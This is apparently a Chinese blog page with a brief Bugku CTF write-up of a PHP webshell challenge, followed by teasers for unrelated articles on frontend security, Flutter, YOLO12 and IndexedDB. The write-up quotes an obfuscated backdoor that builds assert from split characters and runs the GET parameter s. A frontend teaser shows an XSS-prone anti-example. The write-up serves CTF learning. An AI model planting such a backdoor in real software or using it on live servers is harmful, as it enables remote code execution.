Bugku-web(shell,成绩查询)

Bugku-web(shell,成绩查询)

WriteUp1

题目信息

解题思路

打开页面,发现一片空白

观察题目中的描述

$poc="a#s#s#e#r#t";  # 定义一串字符串 $poc_1=explode("#",$poc); # explode() 按照 # 分割上面字符串,留下 ["a","s","s","e","r","t"] $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; # 拼接后 assert $poc_2($_GET['s']) # assert($_GET['s'])

看到是get请求,说明可以在url中传递参数s

得到

分别为flaga15808abee46a1d5.txt和index.php

直接查看flaga15808abee46a1d5.txt即可

得到

Read more

前端安全:别让你的网站成为黑客的游乐场

前端安全:别让你的网站成为黑客的游乐场 毒舌时刻 前端安全?这不是后端的事吗? "我只是个前端,安全关我什么事?"——结果网站被XSS攻击,用户信息泄露, "我用了框架,应该很安全吧?"——结果框架有漏洞,被人轻松突破, "我的网站小,没人会攻击的"——结果被黑客当作练手的靶子。 醒醒吧,前端安全不是可有可无的,而是必须重视的! 为什么你需要这个? * 保护用户数据:防止用户信息被窃取 * 维护网站声誉:避免安全事件影响品牌形象 * 遵守法律法规:如GDPR、CCPA等数据保护法规 * 防止业务损失:避免因安全问题导致的经济损失 反面教材 // 反面教材:直接拼接HTML字符串 function renderUserInput() { const userInput = document.getElementById('user-input').value; // 危险!直接将用户输入插入到DOM中

19. Flutter与Web混合开发实践:打造跨平台的统一体验

19. Flutter与Web混合开发实践:打造跨平台的统一体验 引言 Flutter 是一种强大的跨平台开发框架,它不仅可以开发移动应用,还可以开发 Web 应用。随着 Flutter Web 的不断成熟,Flutter 与 Web 混合开发成为了一种新的趋势。作为一名把代码当散文写的 UI 匠人,我始终认为:好的技术应该是无缝的,它应该让开发者能够自由地在不同平台之间切换,而不需要为每个平台重新开发。Flutter 与 Web 混合开发,就是为了实现这种无缝的体验。 什么是 Flutter 与 Web 混合开发? Flutter 与 Web 混合开发是指在同一个项目中,同时使用 Flutter 和 Web 技术(如 HTML、CSS、JavaScript)来开发应用。这种开发方式可以结合

YOLO12生产环境部署:双服务模式(API+WebUI)支撑多角色协作

YOLO12生产环境部署:双服务模式(API+WebUI)支撑多角色协作 1. 项目概述 YOLO12是Ultralytics在2025年推出的实时目标检测模型最新版本,作为YOLOv11的升级版本,通过引入注意力机制优化了特征提取网络,在保持实时推理速度的同时显著提升了检测精度。该模型提供nano/small/medium/large/xlarge五种规格,参数量从370万到数千万不等,能够适配从边缘设备到高性能服务器的多样化硬件环境。 本镜像基于独立加载器架构,采用双服务模式部署方案,同时提供FastAPI接口和Gradio可视化界面,满足不同角色的使用需求: * 开发人员:通过RESTful API集成到现有业务系统 * 测试人员:使用Web界面快速验证模型效果 * 产品经理:直观展示算法能力给客户或团队 * 运维人员:监控服务状态和性能指标 2. 快速部署与验证 2.1 环境准备与部署 在云平台镜像市场中选择ins-yolo12-independent-v1镜像,点击"部署实例"按钮。系统将自动创建实例并完成基础环境配置,整个过程通常需要1-2分钟。

前端 IndexDB 使用指南

目录 IndexedDB 一句话理解 📊 对比 localStorage 🎯 使用场景(什么时候用?) 💡 使用示例 ⚠️ 注意事项 IDB 完整使用指南 1. 安装与基础操作 安装 四个核心方法 2. 完整工具类封装 3. React 组件中使用 4. 关键概念说明 📌 必知要点 5. 官方资源 6. 故障排除 IndexedDB 一句话理解 浏览器里的大容量本地数据库,比 localStorage 能存更多、更复杂的数据。 📊 对比 localStorage 特性localStorageIndexedDB容量5MB至少250MB,甚至GB级数据类型字符串任何JS对象、文件、二进制查询方式键值对键值、索引、范围查询速度同步(阻塞)异步(不阻塞页面) 🎯 使用场景(什么时候用?) 用 localStorage: * 存